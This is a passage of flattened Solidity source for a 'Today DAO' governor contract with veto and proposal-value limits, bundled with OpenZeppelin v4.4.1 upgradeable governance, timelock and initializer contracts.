import "./interfaces/ITodayDAO.sol";
/// @custom:security-contact [email protected]
contract TodayGovernor is
Initializable,
ITodayDAO,
IERC721ReceiverUpgradeable,
GovernorUpgradeable,
GovernorSettingsUpgradeable,
GovernorCompatibilityBravoUpgradeable,
GovernorVotesCompUpgradeable,
GovernorTimelockCompoundUpgradeable
{
using SafeMathUpgradeable for uint256;
uint256 public constant MIN_PROPOSAL_THRESHOLD = 1;
/// @notice The maximum setable proposal threshold
uint256 public constant MAX_PROPOSAL_THRESHOLD = 366;
/// @notice The minimum setable voting period
uint256 public constant MIN_VOTING_PERIOD = 5_760; // About 24 hours
/// @notice The max setable voting period
uint256 public constant MAX_VOTING_PERIOD = 161_280; // About 4 weeks
/// @notice The min setable voting delay
uint256 public constant MIN_VOTING_DELAY = 1;
/// @notice The max setable voting delay
uint256 public constant MAX_VOTING_DELAY = 40_320; // About 1 week
/// WARNING: Only for testing
uint256 public constant MIN_QUORUM_VOTES = 2;
/// @notice The maximum setable quorum votes basis points
uint256 public constant MAX_QUORUM_VOTES = 366;
uint256 private _quorumVotes;
uint256 public proposalCount;
/// @notice Vetoer who has the ability to veto any proposal
address public vetoer;
mapping(address => uint256) public latestProposalIds;
mapping(uint256 => uint256) public proposalIds;
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() initializer {}
function initialize(
ERC20VotesCompUpgradeable _token,
ICompoundTimelockUpgradeable _timelock,
address vetoer_,
uint256 votingPeriod_,
uint256 votingDelay_,
uint256 proposalThreshold_,
uint256 quorumVotes_
) public initializer {
require(
address(_timelock) != address(0),
"TodayGovernor::initialize: can only initialize once"
);
require(
address(vetoer_) != address(0),
"TodayGovernor::initialize: invalid vetoer address"
);
require(
votingPeriod_ >= MIN_VOTING_PERIOD && votingPeriod_ <= MAX_VOTING_PERIOD,
"TodayGovernor::initialize: invalid voting period"
);
require(
votingDelay_ >= MIN_VOTING_DELAY && votingDelay_ <= MAX_VOTING_DELAY,
"TodayGovernor::initialize: invalid voting delay"
);
require(
proposalThreshold_ >= MIN_PROPOSAL_THRESHOLD &&
proposalThreshold_ <= MAX_PROPOSAL_THRESHOLD,
"TodayGovernor::initialize: invalid proposal threshold"
);
require(
quorumVotes_ >= MIN_QUORUM_VOTES && quorumVotes_ <= MAX_QUORUM_VOTES,
"TodayGovernor::initialize: invalid proquorum votes"
);
__Governor_init("Today DAO");
__GovernorSettings_init(votingDelay_, votingPeriod_, proposalThreshold_);
__GovernorCompatibilityBravo_init();
__GovernorVotesComp_init(_token);
__GovernorTimelockCompound_init(_timelock);
vetoer = vetoer_;
_quorumVotes = quorumVotes_;
}
/**
* Create a proposal if the sender has enough votes
*/
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description
)
public
override(GovernorUpgradeable, GovernorCompatibilityBravoUpgradeable, IGovernorUpgradeable)
returns (uint256)
{
require(moreThan50(values) == false, "TodayGovernor::propose: invalid values");
uint256 proposeId = super.propose(targets, values, calldatas, description);
proposalCount++;
latestProposalIds[msg.sender] = proposeId;
proposalIds[proposalCount] = proposeId;
return proposeId;
}
function propose(
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas,
string memory description
) public override returns (uint256) {
require(moreThan50(values) == false, "TodayGovernor::propose: invalid values");
uint256 proposeId = super.propose(targets, values, signatures, calldatas, description);
proposalCount++;
latestProposalIds[msg.sender] = proposeId;
proposalIds[proposalCount] = proposeId;
return proposeId;
}
function moreThan50(uint256[] memory values) internal view returns (bool) {
uint256 totalBalance = timelock().balance;
uint256 totalValue = 0;
for (uint256 i = 0; i < values.length; i++) {
totalValue += values[i];
}
return totalValue > totalBalance.div(2);
}
/**
* Always returns `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address,
address,
uint256,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC721Received.selector;
}
function quorum(uint256 blockNumber) public view override returns (uint256) {
return _quorumVotes;
}
/**
* the number of blocks a proposal needs to wait after creation to become active and allow voting.
* Usually set to zero, but a longer delay gives people time to set up their votes before voting begins
*/
function votingDelay()
public
view
override(IGovernorUpgradeable, GovernorSettingsUpgradeable)
returns (uint256)
{
return super.votingDelay();
}
/**
* the number of blocks to run the voting. A longer period gives people more time to vote.
* Usually, DAOs set the period to something between 3 and 6 days.
*/
function votingPeriod()
public
view
override(IGovernorUpgradeable, GovernorSettingsUpgradeable)
returns (uint256)
{
return super.votingPeriod();
}
/**
* the minimum amount of voting power an address needs to create a proposal.
* A low threshold allows spam, but a high threshold makes proposals nearly
* impossible! Often, DAOs set to a number that allows 5 or 10 of the largest
* tokenholders to create proposals.
*/
function proposalThreshold()
public
view
override(GovernorUpgradeable, GovernorSettingsUpgradeable)
returns (uint256)
{
return super.proposalThreshold();
}
// The following functions are overrides required by Solidity.
/**
* Get the amount of votes a user had before the proposal goes live
*/
function getVotes(address account, uint256 blockNumber)
public
view
override(IGovernorUpgradeable, GovernorVotesCompUpgradeable)
returns (uint256)
{
return super.getVotes(account, blockNumber);
}
/**
* Get us to get the current state of the specified proposal
*/
function state(uint256 proposalId)
public
view
override(GovernorUpgradeable, IGovernorUpgradeable, GovernorTimelockCompoundUpgradeable)
returns (ProposalState)
{
return super.state(proposalId);
}
/**
* @dev Amount of votes already cast passes the threshold limit.
*/
function _quorumReached(uint256 proposalId)
internal
view
override(GovernorUpgradeable, GovernorCompatibilityBravoUpgradeable)
returns (bool)
{
(uint256 forVotes, uint256 againstVotes, uint256 abstainVotes) = votes(proposalId);
uint256 totalVotes = forVotes + againstVotes + abstainVotes;
return totalVotes >= quorumVotes();
// return super._quorumReached(proposalId);
}
/**
* @dev Is the proposal successful or not.
*/
function _voteSucceeded(uint256 proposalId)
internal
view
override(GovernorUpgradeable, GovernorCompatibilityBravoUpgradeable)
returns (bool)
{
(uint256 forVotes, uint256 againstVotes, uint256 abstainVotes) = votes(proposalId);
uint256 totalVotes = forVotes + againstVotes + abstainVotes;
return totalVotes > 1 && forVotes > totalVotes.div(2);
// return super._voteSucceeded(proposalId);
}
function _countVote(
uint256 proposalId,
address account,
uint8 support,
uint256 weight
) internal override(GovernorUpgradeable, GovernorCompatibilityBravoUpgradeable) {
super._countVote(proposalId, account, support, weight);
}
/**
* Send the proposal for execution, the proposal needs to has surpassed the needed timelock delay
*/
function _execute(
uint256 proposalId,
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal override(GovernorUpgradeable, GovernorTimelockCompoundUpgradeable) {
super._execute(proposalId, targets, values, calldatas, descriptionHash);
}
/**
* Cancel the specified proposal if the creator of it falls bellow the required threshold
*/
function _cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
)
internal
override(GovernorUpgradeable, GovernorTimelockCompoundUpgradeable)
returns (uint256)
{
return super._cancel(targets, values, calldatas, descriptionHash);
}
/**
* Get the address through which the governor executes action.
*/
function _executor()
internal
view
override(GovernorUpgradeable, GovernorTimelockCompoundUpgradeable)
returns (address)
{
return super._executor();
}
function veto(uint256 proposalId, string memory description) external {
require(vetoer != address(0), "TodayGovernor::veto: no vetoer set");
require(msg.sender == vetoer, "TodayGovernor::veto: sender is not the vetoer");
require(
state(proposalId) != ProposalState.Executed,
"TodayGovernor::veto: proposal is already executed"
);
(
address[] memory targets,
uint256[] memory values,
,
bytes[] memory calldatas
) = getActions(proposalId);
bytes32 descriptionHash = keccak256(bytes(description));
_cancel(targets, values, calldatas, descriptionHash);
emit ProposalVetoed(proposalId);
}
/**
* @notice Changes vetoer address
* @dev Vetoer function for updating vetoer address
*/
function setVetoer(address newVetoer) public {
require(msg.sender == vetoer, "TodayGovernor::setVetoer: vetoer only");
emit NewVetoer(vetoer, newVetoer);
vetoer = newVetoer;
}
function removeVetoer() public {
require(msg.sender == vetoer, "TodayGovernor::removeVetoer: vetoer only");
setVetoer(address(0));
}
/**
* ERC165 that allows to validate the interfaces used in our contract
*/
function supportsInterface(bytes4 interfaceId)
public
view
override(GovernorUpgradeable, IERC165Upgradeable, GovernorTimelockCompoundUpgradeable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/Governor.sol)
pragma solidity ^0.8.0;
import "../utils/cryptography/ECDSAUpgradeable.sol";
import "../utils/cryptography/draft-EIP712Upgradeable.sol";
import "../utils/introspection/ERC165Upgradeable.sol";
import "../utils/math/SafeCastUpgradeable.sol";
import "../utils/AddressUpgradeable.sol";
import "../utils/ContextUpgradeable.sol";
import "../utils/TimersUpgradeable.sol";
import "./IGovernorUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Core of the governance system, designed to be extended though various modules.
*
* This contract is abstract and requires several function to be implemented in various modules:
*
* - A counting module must implement {quorum}, {_quorumReached}, {_voteSucceeded} and {_countVote}
* - A voting module must implement {getVotes}
* - Additionanly, the {votingPeriod} must also be implemented
*
* _Available since v4.3._
*/
abstract contract GovernorUpgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, EIP712Upgradeable, IGovernorUpgradeable {
using SafeCastUpgradeable for uint256;
using TimersUpgradeable for TimersUpgradeable.BlockNumber;
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,uint8 support)");
struct ProposalCore {
TimersUpgradeable.BlockNumber voteStart;
TimersUpgradeable.BlockNumber voteEnd;
bool executed;
bool canceled;
}
string private _name;
mapping(uint256 => ProposalCore) private _proposals;
/**
* @dev Restrict access to governor executing address. Some module might override the _executor function to make
* sure this modifier is consistant with the execution model.
*/
modifier onlyGovernance() {
require(_msgSender() == _executor(), "Governor: onlyGovernance");
_;
}
/**
* @dev Sets the value for {name} and {version}
*/
function __Governor_init(string memory name_) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__EIP712_init_unchained(name_, version());
__IGovernor_init_unchained();
__Governor_init_unchained(name_);
}
function __Governor_init_unchained(string memory name_) internal onlyInitializing {
_name = name_;
}
/**
* @dev Function to receive ETH that will be handled by the governor (disabled if executor is a third party contract)
*/
receive() external payable virtual {
require(_executor() == address(this));
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC165Upgradeable) returns (bool) {
return interfaceId == type(IGovernorUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IGovernor-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IGovernor-version}.
*/
function version() public view virtual override returns (string memory) {
return "1";
}
/**
* @dev See {IGovernor-hashProposal}.
*
* The proposal id is produced by hashing the RLC encoded `targets` array, the `values` array, the `calldatas` array
* and the descriptionHash (bytes32 which itself is the keccak256 hash of the description string). This proposal id
* can be produced from the proposal data which is part of the {ProposalCreated} event. It can even be computed in
* advance, before the proposal is submitted.
*
* Note that the chainId and the governor address are not part of the proposal id computation. Consequently, the
* same proposal (with same operation and same description) will have the same id if submitted on multiple governors
* accross multiple networks. This also means that in order to execute the same operation twice (on the same
* governor) the proposer will have to change the description in order to avoid proposal id conflicts.
*/
function hashProposal(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) public pure virtual override returns (uint256) {
return uint256(keccak256(abi.encode(targets, values, calldatas, descriptionHash)));
}
/**
* @dev See {IGovernor-state}.
*/
function state(uint256 proposalId) public view virtual override returns (ProposalState) {
ProposalCore memory proposal = _proposals[proposalId];
if (proposal.executed) {
return ProposalState.Executed;
} else if (proposal.canceled) {
return ProposalState.Canceled;
} else if (proposal.voteStart.getDeadline() >= block.number) {
return ProposalState.Pending;
} else if (proposal.voteEnd.getDeadline() >= block.number) {
return ProposalState.Active;
} else if (proposal.voteEnd.isExpired()) {
return
_quorumReached(proposalId) && _voteSucceeded(proposalId)
? ProposalState.Succeeded
: ProposalState.Defeated;
} else {
revert("Governor: unknown proposal id");
}
}
/**
* @dev See {IGovernor-proposalSnapshot}.
*/
function proposalSnapshot(uint256 proposalId) public view virtual override returns (uint256) {
return _proposals[proposalId].voteStart.getDeadline();
}
/**
* @dev See {IGovernor-proposalDeadline}.
*/
function proposalDeadline(uint256 proposalId) public view virtual override returns (uint256) {
return _proposals[proposalId].voteEnd.getDeadline();
}
/**
* @dev Part of the Governor Bravo's interface: _"The number of votes required in order for a voter to become a proposer"_.
*/
function proposalThreshold() public view virtual returns (uint256) {
return 0;
}
/**
* @dev Amount of votes already cast passes the threshold limit.
*/
function _quorumReached(uint256 proposalId) internal view virtual returns (bool);
/**
* @dev Is the proposal successful or not.
*/
function _voteSucceeded(uint256 proposalId) internal view virtual returns (bool);
/**
* @dev Register a vote with a given support and voting weight.
*
* Note: Support is generic and can represent various things depending on the voting system used.
*/
function _countVote(
uint256 proposalId,
address account,
uint8 support,
uint256 weight
) internal virtual;
/**
* @dev See {IGovernor-propose}.
*/
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description
) public virtual override returns (uint256) {
require(
getVotes(msg.sender, block.number - 1) >= proposalThreshold(),
"GovernorCompatibilityBravo: proposer votes below proposal threshold"
);
uint256 proposalId = hashProposal(targets, values, calldatas, keccak256(bytes(description)));
require(targets.length == values.length, "Governor: invalid proposal length");
require(targets.length == calldatas.length, "Governor: invalid proposal length");
require(targets.length > 0, "Governor: empty proposal");
ProposalCore storage proposal = _proposals[proposalId];
require(proposal.voteStart.isUnset(), "Governor: proposal already exists");
uint64 snapshot = block.number.toUint64() + votingDelay().toUint64();
uint64 deadline = snapshot + votingPeriod().toUint64();
proposal.voteStart.setDeadline(snapshot);
proposal.voteEnd.setDeadline(deadline);
emit ProposalCreated(
proposalId,
_msgSender(),
targets,
values,
new string[](targets.length),
calldatas,
snapshot,
deadline,
description
);
return proposalId;
}
/**
* @dev See {IGovernor-execute}.
*/
function execute(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) public payable virtual override returns (uint256) {
uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash);
ProposalState status = state(proposalId);
require(
status == ProposalState.Succeeded || status == ProposalState.Queued,
"Governor: proposal not successful"
);
_proposals[proposalId].executed = true;
emit ProposalExecuted(proposalId);
_execute(proposalId, targets, values, calldatas, descriptionHash);
return proposalId;
}
/**
* @dev Internal execution mechanism. Can be overriden to implement different execution mechanism
*/
function _execute(
uint256, /* proposalId */
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 /*descriptionHash*/
) internal virtual {
string memory errorMessage = "Governor: call reverted without message";
for (uint256 i = 0; i < targets.length; ++i) {
(bool success, bytes memory returndata) = targets[i].call{value: values[i]}(calldatas[i]);
AddressUpgradeable.verifyCallResult(success, returndata, errorMessage);
}
}
/**
* @dev Internal cancel mechanism: locks up the proposal timer, preventing it from being re-submitted. Marks it as
* canceled to allow distinguishing it from executed proposals.
*
* Emits a {IGovernor-ProposalCanceled} event.
*/
function _cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal virtual returns (uint256) {
uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash);
ProposalState status = state(proposalId);
require(
status != ProposalState.Canceled && status != ProposalState.Expired && status != ProposalState.Executed,
"Governor: proposal not active"
);
_proposals[proposalId].canceled = true;
emit ProposalCanceled(proposalId);
return proposalId;
}
/**
* @dev See {IGovernor-castVote}.
*/
function castVote(uint256 proposalId, uint8 support) public virtual override returns (uint256) {
address voter = _msgSender();
return _castVote(proposalId, voter, support, "");
}
/**
* @dev See {IGovernor-castVoteWithReason}.
*/
function castVoteWithReason(
uint256 proposalId,
uint8 support,
string calldata reason
) public virtual override returns (uint256) {
address voter = _msgSender();
return _castVote(proposalId, voter, support, reason);
}
/**
* @dev See {IGovernor-castVoteBySig}.
*/
function castVoteBySig(
uint256 proposalId,
uint8 support,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override returns (uint256) {
address voter = ECDSAUpgradeable.recover(
_hashTypedDataV4(keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support))),
v,
r,
s
);
return _castVote(proposalId, voter, support, "");
}
/**
* @dev Internal vote casting mechanism: Check that the vote is pending, that it has not been cast yet, retrieve
* voting weight using {IGovernor-getVotes} and call the {_countVote} internal function.
*
* Emits a {IGovernor-VoteCast} event.
*/
function _castVote(
uint256 proposalId,
address account,
uint8 support,
string memory reason
) internal virtual returns (uint256) {
ProposalCore storage proposal = _proposals[proposalId];
require(state(proposalId) == ProposalState.Active, "Governor: vote not currently active");
uint256 weight = getVotes(account, proposal.voteStart.getDeadline());
_countVote(proposalId, account, support, weight);
emit VoteCast(account, proposalId, support, weight, reason);
return weight;
}
/**
* @dev Address through which the governor executes action. Will be overloaded by module that execute actions
* through another contract such as a timelock.
*/
function _executor() internal view virtual returns (address) {
return address(this);
}
uint256[48] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorSettings.sol)
pragma solidity ^0.8.0;
import "../GovernorUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Extension of {Governor} for settings updatable through governance.
*
* _Available since v4.4._
*/
abstract contract GovernorSettingsUpgradeable is Initializable, GovernorUpgradeable {
uint256 private _votingDelay;
uint256 private _votingPeriod;
uint256 private _proposalThreshold;
event VotingDelaySet(uint256 oldVotingDelay, uint256 newVotingDelay);
event VotingPeriodSet(uint256 oldVotingPeriod, uint256 newVotingPeriod);
event ProposalThresholdSet(uint256 oldProposalThreshold, uint256 newProposalThreshold);
/**
* @dev Initialize the governance parameters.
*/
function __GovernorSettings_init(
uint256 initialVotingDelay,
uint256 initialVotingPeriod,
uint256 initialProposalThreshold
) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__IGovernor_init_unchained();
__GovernorSettings_init_unchained(initialVotingDelay, initialVotingPeriod, initialProposalThreshold);
}
function __GovernorSettings_init_unchained(
uint256 initialVotingDelay,
uint256 initialVotingPeriod,
uint256 initialProposalThreshold
) internal onlyInitializing {
_setVotingDelay(initialVotingDelay);
_setVotingPeriod(initialVotingPeriod);
_setProposalThreshold(initialProposalThreshold);
}
/**
* @dev See {IGovernor-votingDelay}.
*/
function votingDelay() public view virtual override returns (uint256) {
return _votingDelay;
}
/**
* @dev See {IGovernor-votingPeriod}.
*/
function votingPeriod() public view virtual override returns (uint256) {
return _votingPeriod;
}
/**
* @dev See {Governor-proposalThreshold}.
*/
function proposalThreshold() public view virtual override returns (uint256) {
return _proposalThreshold;
}
/**
* @dev Update the voting delay. This operation can only be performed through a governance proposal.
*
* Emits a {VotingDelaySet} event.
*/
function setVotingDelay(uint256 newVotingDelay) public virtual onlyGovernance {
_setVotingDelay(newVotingDelay);
}
/**
* @dev Update the voting period. This operation can only be performed through a governance proposal.
*
* Emits a {VotingPeriodSet} event.
*/
function setVotingPeriod(uint256 newVotingPeriod) public virtual onlyGovernance {
_setVotingPeriod(newVotingPeriod);
}
/**
* @dev Update the proposal threshold. This operation can only be performed through a governance proposal.
*
* Emits a {ProposalThresholdSet} event.
*/
function setProposalThreshold(uint256 newProposalThreshold) public virtual onlyGovernance {
_setProposalThreshold(newProposalThreshold);
}
/**
* @dev Internal setter for the voting delay.
*
* Emits a {VotingDelaySet} event.
*/
function _setVotingDelay(uint256 newVotingDelay) internal virtual {
emit VotingDelaySet(_votingDelay, newVotingDelay);
_votingDelay = newVotingDelay;
}
/**
* @dev Internal setter for the voting period.
*
* Emits a {VotingPeriodSet} event.
*/
function _setVotingPeriod(uint256 newVotingPeriod) internal virtual {
// voting period must be at least one block long
require(newVotingPeriod > 0, "GovernorSettings: voting period too low");
emit VotingPeriodSet(_votingPeriod, newVotingPeriod);
_votingPeriod = newVotingPeriod;
}
/**
* @dev Internal setter for the proposal threshold.
*
* Emits a {ProposalThresholdSet} event.
*/
function _setProposalThreshold(uint256 newProposalThreshold) internal virtual {
emit ProposalThresholdSet(_proposalThreshold, newProposalThreshold);
_proposalThreshold = newProposalThreshold;
}
uint256[47] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorVotesComp.sol)
pragma solidity ^0.8.0;
import "../GovernorUpgradeable.sol";
import "../../token/ERC20/extensions/ERC20VotesCompUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Extension of {Governor} for voting weight extraction from a Comp token.
*
* _Available since v4.3._
*/
abstract contract GovernorVotesCompUpgradeable is Initializable, GovernorUpgradeable {
ERC20VotesCompUpgradeable public token;
function __GovernorVotesComp_init(ERC20VotesCompUpgradeable token_) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__IGovernor_init_unchained();
__GovernorVotesComp_init_unchained(token_);
}
function __GovernorVotesComp_init_unchained(ERC20VotesCompUpgradeable token_) internal onlyInitializing {
token = token_;
}
/**
* Read the voting weight from the token's built in snapshot mechanism (see {IGovernor-getVotes}).
*/
function getVotes(address account, uint256 blockNumber) public view virtual override returns (uint256) {
return token.getPriorVotes(account, blockNumber);
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (governance/extensions/GovernorTimelockCompound.sol)
pragma solidity ^0.8.0;
import "./IGovernorTimelockUpgradeable.sol";
import "../GovernorUpgradeable.sol";
import "../../utils/math/SafeCastUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* https://github.com/compound-finance/compound-protocol/blob/master/contracts/Timelock.sol[Compound's timelock] interface
*/
interface ICompoundTimelockUpgradeable {
receive() external payable;
// solhint-disable-next-line func-name-mixedcase
function GRACE_PERIOD() external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function MINIMUM_DELAY() external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function MAXIMUM_DELAY() external view returns (uint256);
function admin() external view returns (address);
function pendingAdmin() external view returns (address);
function delay() external view returns (uint256);
function queuedTransactions(bytes32) external view returns (bool);
function setDelay(uint256) external;
function acceptAdmin() external;
function setPendingAdmin(address) external;
function queueTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) external returns (bytes32);
function cancelTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) external;
function executeTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) external payable returns (bytes memory);
}
/**
* @dev Extension of {Governor} that binds the execution process to a Compound Timelock. This adds a delay, enforced by
* the external timelock to all successful proposal (in addition to the voting duration). The {Governor} needs to be
* the admin of the timelock for any operation to be performed. A public, unrestricted,
* {GovernorTimelockCompound-__acceptAdmin} is available to accept ownership of the timelock.
*
* Using this model means the proposal will be operated by the {TimelockController} and not by the {Governor}. Thus,
* the assets and permissions must be attached to the {TimelockController}. Any asset sent to the {Governor} will be
* inaccessible.
*
* _Available since v4.3._
*/
abstract contract GovernorTimelockCompoundUpgradeable is Initializable, IGovernorTimelockUpgradeable, GovernorUpgradeable {
using SafeCastUpgradeable for uint256;
using TimersUpgradeable for TimersUpgradeable.Timestamp;
struct ProposalTimelock {
TimersUpgradeable.Timestamp timer;
}
ICompoundTimelockUpgradeable private _timelock;
mapping(uint256 => ProposalTimelock) private _proposalTimelocks;
/**
* @dev Emitted when the timelock controller used for proposal execution is modified.
*/
event TimelockChange(address oldTimelock, address newTimelock);
/**
* @dev Set the timelock.
*/
function __GovernorTimelockCompound_init(ICompoundTimelockUpgradeable timelockAddress) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__IGovernor_init_unchained();
__IGovernorTimelock_init_unchained();
__GovernorTimelockCompound_init_unchained(timelockAddress);
}
function __GovernorTimelockCompound_init_unchained(ICompoundTimelockUpgradeable timelockAddress) internal onlyInitializing {
_updateTimelock(timelockAddress);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, GovernorUpgradeable) returns (bool) {
return interfaceId == type(IGovernorTimelockUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Overriden version of the {Governor-state} function with added support for the `Queued` and `Expired` status.
*/
function state(uint256 proposalId) public view virtual override(IGovernorUpgradeable, GovernorUpgradeable) returns (ProposalState) {
ProposalState status = super.state(proposalId);
if (status != ProposalState.Succeeded) {
return status;
}
uint256 eta = proposalEta(proposalId);
if (eta == 0) {
return status;
} else if (block.timestamp >= eta + _timelock.GRACE_PERIOD()) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
/**
* @dev Public accessor to check the address of the timelock
*/
function timelock() public view virtual override returns (address) {
return address(_timelock);
}
/**
* @dev Public accessor to check the eta of a queued proposal
*/
function proposalEta(uint256 proposalId) public view virtual override returns (uint256) {
return _proposalTimelocks[proposalId].timer.getDeadline();
}
/**
* @dev Function to queue a proposal to the timelock.
*/
function queue(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) public virtual override returns (uint256) {
uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash);
require(state(proposalId) == ProposalState.Succeeded, "Governor: proposal not successful");
uint256 eta = block.timestamp + _timelock.delay();
_proposalTimelocks[proposalId].timer.setDeadline(eta.toUint64());
for (uint256 i = 0; i < targets.length; ++i) {
require(
!_timelock.queuedTransactions(keccak256(abi.encode(targets[i], values[i], "", calldatas[i], eta))),
"GovernorTimelockCompound: identical proposal action already queued"
);
_timelock.queueTransaction(targets[i], values[i], "", calldatas[i], eta);
}
emit ProposalQueued(proposalId, eta);
return proposalId;
}
/**
* @dev Overriden execute function that run the already queued proposal through the timelock.
*/
function _execute(
uint256 proposalId,
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 /*descriptionHash*/
) internal virtual override {
uint256 eta = proposalEta(proposalId);
require(eta > 0, "GovernorTimelockCompound: proposal not yet queued");
AddressUpgradeable.sendValue(payable(_timelock), msg.value);
for (uint256 i = 0; i < targets.length; ++i) {
_timelock.executeTransaction(targets[i], values[i], "", calldatas[i], eta);
}
}
/**
* @dev Overriden version of the {Governor-_cancel} function to cancel the timelocked proposal if it as already
* been queued.
*/
function _cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal virtual override returns (uint256) {
uint256 proposalId = super._cancel(targets, values, calldatas, descriptionHash);
uint256 eta = proposalEta(proposalId);
if (eta > 0) {
for (uint256 i = 0; i < targets.length; ++i) {
_timelock.cancelTransaction(targets[i], values[i], "", calldatas[i], eta);
}
_proposalTimelocks[proposalId].timer.reset();
}
return proposalId;
}
/**
* @dev Address through which the governor executes action. In this case, the timelock.
*/
function _executor() internal view virtual override returns (address) {
return address(_timelock);
}
/**
* @dev Accept admin right over the timelock.
*/
// solhint-disable-next-line private-vars-leading-underscore
function __acceptAdmin() public {
_timelock.acceptAdmin();
}
/**
* @dev Public endpoint to update the underlying timelock instance. Restricted to the timelock itself, so updates
* must be proposed, scheduled and executed using the {Governor} workflow.
*
* For security reason, the timelock must be handed over to another admin before setting up a new one. The two
* operations (hand over the timelock) and do the update can be batched in a single proposal.
*
* Note that if the timelock admin has been handed over in a previous operation, we refuse updates made through the
* timelock if admin of the timelock has already been accepted and the operation is executed outside the scope of
* governance.
*/
function updateTimelock(ICompoundTimelockUpgradeable newTimelock) external virtual onlyGovernance {
_updateTimelock(newTimelock);
}
function _updateTimelock(ICompoundTimelockUpgradeable newTimelock) private {
emit TimelockChange(address(_timelock), address(newTimelock));
_timelock = newTimelock;
}
uint256[48] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
import "../../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
